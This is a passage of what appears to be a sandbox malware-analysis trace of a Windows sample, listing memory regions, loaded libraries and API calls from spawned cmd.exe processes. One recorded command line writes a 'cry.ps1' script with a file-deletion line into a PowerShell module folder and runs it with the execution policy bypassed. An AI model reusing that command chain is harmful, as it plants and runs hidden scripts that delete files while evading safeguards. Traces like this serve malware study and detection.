0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1692 start_va = 0x430000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1693 start_va = 0x730000 end_va = 0x8b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 1694 start_va = 0x120000 end_va = 0x13dfff monitored = 0 entry_point = 0x13158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1695 start_va = 0x120000 end_va = 0x13dfff monitored = 0 entry_point = 0x13158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1696 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1697 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1698 start_va = 0x8c0000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 1699 start_va = 0xa50000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 1700 start_va = 0x120000 end_va = 0x13ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 1701 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1702 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Thread: id = 13 os_tid = 0xa54 [0062.813] GetProcAddress (hModule=0x75c80000, lpProcName="SetConsoleInputExeNameW") returned 0x75caa775 [0062.814] GetProcessHeap () returned 0x630000 [0062.814] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x400a) returned 0x6449c0 [0062.814] GetProcessHeap () returned 0x630000 [0062.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6449c0 | out: hHeap=0x630000) returned 1 [0062.815] _wcsicmp (_String1="mkdir", _String2=")") returned 68 [0062.815] _wcsicmp (_String1="FOR", _String2="mkdir") returned -7 [0062.815] _wcsicmp (_String1="FOR/?", _String2="mkdir") returned -7 [0062.815] _wcsicmp (_String1="IF", _String2="mkdir") returned -4 [0062.815] _wcsicmp (_String1="IF/?", _String2="mkdir") returned -4 [0062.815] _wcsicmp (_String1="REM", _String2="mkdir") returned 5 [0062.815] _wcsicmp (_String1="REM/?", _String2="mkdir") returned 5 [0062.815] GetProcessHeap () returned 0x630000 [0062.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x58) returned 0x6426b8 [0062.815] GetProcessHeap () returned 0x630000 [0062.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x14) returned 0x642718 [0062.818] GetProcessHeap () returned 0x630000 [0062.818] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x88) returned 0x642738 [0062.819] GetConsoleTitleW (in: lpConsoleTitle=0x2af818, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.819] _wcsicmp (_String1="mkdir", _String2="DIR") returned 9 [0062.819] _wcsicmp (_String1="mkdir", _String2="ERASE") returned 8 [0062.819] _wcsicmp (_String1="mkdir", _String2="DEL") returned 9 [0062.819] _wcsicmp (_String1="mkdir", _String2="TYPE") returned -7 [0062.819] _wcsicmp (_String1="mkdir", _String2="COPY") returned 10 [0062.819] _wcsicmp (_String1="mkdir", _String2="CD") returned 10 [0062.820] _wcsicmp (_String1="mkdir", _String2="CHDIR") returned 10 [0062.820] _wcsicmp (_String1="mkdir", _String2="RENAME") returned -5 [0062.820] _wcsicmp (_String1="mkdir", _String2="REN") returned -5 [0062.820] _wcsicmp (_String1="mkdir", _String2="ECHO") returned 8 [0062.820] _wcsicmp (_String1="mkdir", _String2="SET") returned -6 [0062.820] _wcsicmp (_String1="mkdir", _String2="PAUSE") returned -3 [0062.820] _wcsicmp (_String1="mkdir", _String2="DATE") returned 9 [0062.820] _wcsicmp (_String1="mkdir", _String2="TIME") returned -7 [0062.820] _wcsicmp (_String1="mkdir", _String2="PROMPT") returned -3 [0062.820] _wcsicmp (_String1="mkdir", _String2="MD") returned 7 [0062.820] _wcsicmp (_String1="mkdir", _String2="MKDIR") returned 0 [0062.820] GetProcessHeap () returned 0x630000 [0062.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x108) returned 0x6427c8 [0062.826] GetProcessHeap () returned 0x630000 [0062.826] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6427c8, Size=0x86) returned 0x6427c8 [0062.826] GetProcessHeap () returned 0x630000 [0062.826] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x6427c8) returned 0x86 [0062.826] GetProcessHeap () returned 0x630000 [0062.826] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x94) returned 0x642858 [0062.826] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6f5260 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.826] GetProcessHeap () returned 0x630000 [0062.826] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x108) returned 0x6428f8 [0062.829] GetProcessHeap () returned 0x630000 [0062.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6428f8, Size=0x86) returned 0x6428f8 [0062.829] GetProcessHeap () returned 0x630000 [0062.829] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x6428f8) returned 0x86 [0062.830] GetProcessHeap () returned 0x630000 [0062.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x84) returned 0x642988 [0062.830] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.830] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x104, lpBuffer=0x2af114, lpFilePart=0x2af110 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x2af110*="Cipher") returned 0x3d [0062.830] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), lpSecurityAttributes=0x0) returned 0 [0062.830] GetLastError () returned 0x3 [0062.830] CreateDirectoryW (lpPathName="C:\\Users" (normalized: "c:\\users"), lpSecurityAttributes=0x0) returned 0 [0062.830] GetLastError () returned 0xb7 [0062.830] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj"), lpSecurityAttributes=0x0) returned 0 [0062.830] GetLastError () returned 0xb7 [0062.830] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents"), lpSecurityAttributes=0x0) returned 0 [0062.831] GetLastError () returned 0xb7 [0062.831] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell"), lpSecurityAttributes=0x0) returned 1 [0062.831] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules"), lpSecurityAttributes=0x0) returned 1 [0062.832] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), lpSecurityAttributes=0x0) returned 1 [0062.832] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.832] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0062.832] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.832] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6f41ac | out: lpMode=0x4a6f41ac) returned 1 [0062.833] _get_osfhandle (_FileHandle=0) returned 0x3 [0062.833] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6f41b0 | out: lpMode=0x4a6f41b0) returned 1 [0062.833] SetConsoleInputExeNameW () returned 0x1 [0062.833] GetConsoleOutputCP () returned 0x1b5 [0062.833] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6f4260 | out: lpCPInfo=0x4a6f4260) returned 1 [0062.833] SetThreadUILanguage (LangId=0x0) returned 0x409 [0062.833] exit (_Code=0) Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3b318000" os_pid = "0x518" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x96c" cmd_line = "C:\\Windows\\system32\\cmd.exe /c cmd.exe /c cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* >> %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & powershell -ExecutionPolicy ByPass -File %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & exit" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1703 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1704 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1705 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1706 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1707 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1708 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1709 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1710 start_va = 0x49e40000 end_va = 0x49e8bfff monitored = 1 entry_point = 0x49e4829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1711 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1712 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1713 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1714 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1715 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1716 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1717 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1718 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1719 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1720 start_va = 0x2d0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1721 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1722 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1723 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1724 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1725 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1726 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1727 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 1728 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1729 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 1730 start_va = 0x4f0000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1731 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1732 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1733 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1734 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1735 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1736 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1737 start_va = 0xb0000 end_va = 0x116fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1738 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1739 start_va = 0x6da50000 end_va = 0x6da56fff monitored = 0 entry_point = 0x6da51230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1740 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1741 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1742 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1743 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1744 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1745 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1746 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1747 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1748 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1749 start_va = 0x120000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1750 start_va = 0x120000 end_va = 0x13dfff monitored = 0 entry_point = 0x13158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1751 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1752 start_va = 0x2d0000 end_va = 0x457fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1753 start_va = 0x470000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1754 start_va = 0x120000 end_va = 0x13dfff monitored = 0 entry_point = 0x13158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1755 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1756 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1757 start_va = 0x4f0000 end_va = 0x670fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 1758 start_va = 0x690000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1759 start_va = 0x790000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1760 start_va = 0x120000 end_va = 0x13ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 1761 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1762 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1763 start_va = 0x1b90000 end_va = 0x1e5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 14 os_tid = 0x394 [0063.923] GetProcAddress (hModule=0x75c80000, lpProcName="SetConsoleInputExeNameW") returned 0x75caa775 [0063.923] GetProcessHeap () returned 0x690000 [0063.923] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x400a) returned 0x6a6e80 [0063.924] GetProcessHeap () returned 0x690000 [0063.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aae98 [0063.924] GetProcessHeap () returned 0x690000 [0063.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x20) returned 0x6a0398 [0063.924] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0x12 [0063.924] GetProcessHeap () returned 0x690000 [0063.925] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a0398 | out: hHeap=0x690000) returned 1 [0063.925] GetProcessHeap () returned 0x690000 [0063.925] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aae98 | out: hHeap=0x690000) returned 1 [0063.925] GetProcessHeap () returned 0x690000 [0063.925] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aae98 [0063.925] GetProcessHeap () returned 0x690000 [0063.925] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x20) returned 0x6a0398 [0063.926] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0x12 [0063.926] GetProcessHeap () returned 0x690000 [0063.926] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a0398 | out: hHeap=0x690000) returned 1 [0063.926] GetProcessHeap () returned 0x690000 [0063.926] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aae98 | out: hHeap=0x690000) returned 1 [0063.926] GetProcessHeap () returned 0x690000 [0063.926] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aae98 [0063.926] GetProcessHeap () returned 0x690000 [0063.926] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x20) returned 0x6a0398 [0063.927] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0x12 [0063.927] GetProcessHeap () returned 0x690000 [0063.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a0398 | out: hHeap=0x690000) returned 1 [0063.927] GetProcessHeap () returned 0x690000 [0063.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aae98 | out: hHeap=0x690000) returned 1 [0063.927] GetProcessHeap () returned 0x690000 [0063.928] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6e80 | out: hHeap=0x690000) returned 1 [0063.928] _wcsicmp (_String1="cmd.exe", _String2=")") returned 58 [0063.928] _wcsicmp (_String1="FOR", _String2="cmd.exe") returned 3 [0063.928] _wcsicmp (_String1="FOR/?", _String2="cmd.exe") returned 3 [0063.929] _wcsicmp (_String1="IF", _String2="cmd.exe") returned 6 [0063.929] _wcsicmp (_String1="IF/?", _String2="cmd.exe") returned 6 [0063.929] _wcsicmp (_String1="REM", _String2="cmd.exe") returned 15 [0063.929] _wcsicmp (_String1="REM/?", _String2="cmd.exe") returned 15 [0063.929] GetProcessHeap () returned 0x690000 [0063.929] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a5bf0 [0063.929] GetProcessHeap () returned 0x690000 [0063.929] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x18) returned 0x6a2508 [0063.931] GetProcessHeap () returned 0x690000 [0063.931] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x94) returned 0x6a5c50 [0063.933] GetProcessHeap () returned 0x690000 [0063.933] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a5cf0 [0063.934] _wcsicmp (_String1="echo", _String2=")") returned 60 [0063.934] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0063.934] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0063.934] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0063.934] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0063.934] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0063.934] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0063.934] GetProcessHeap () returned 0x690000 [0063.934] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a5d50 [0063.934] GetProcessHeap () returned 0x690000 [0063.934] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x12) returned 0x6a2528 [0063.936] GetProcessHeap () returned 0x690000 [0063.936] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x96) returned 0x6a5db0 [0063.936] GetProcessHeap () returned 0x690000 [0063.936] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x20) returned 0x6a0398 [0063.942] GetProcessHeap () returned 0x690000 [0063.942] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x94) returned 0x6a5e50 [0063.942] GetProcessHeap () returned 0x690000 [0063.942] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x98) returned 0x6a5ef0 [0063.943] GetProcessHeap () returned 0x690000 [0063.943] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a5f90 [0063.944] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a5ff0 [0063.944] GetProcessHeap () returned 0x690000 [0063.944] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1e) returned 0x690808 [0063.944] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xd4) returned 0x6a6050 [0063.945] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a6130 [0063.945] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a6190 [0063.992] GetProcessHeap () returned 0x690000 [0063.992] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x12) returned 0x6a61f0 [0063.993] GetConsoleTitleW (in: lpConsoleTitle=0x2cf564, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.994] GetFileAttributesW (lpFileName="cmd.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe")) returned 0xffffffff [0063.994] _wcsicmp (_String1="cmd", _String2="DIR") 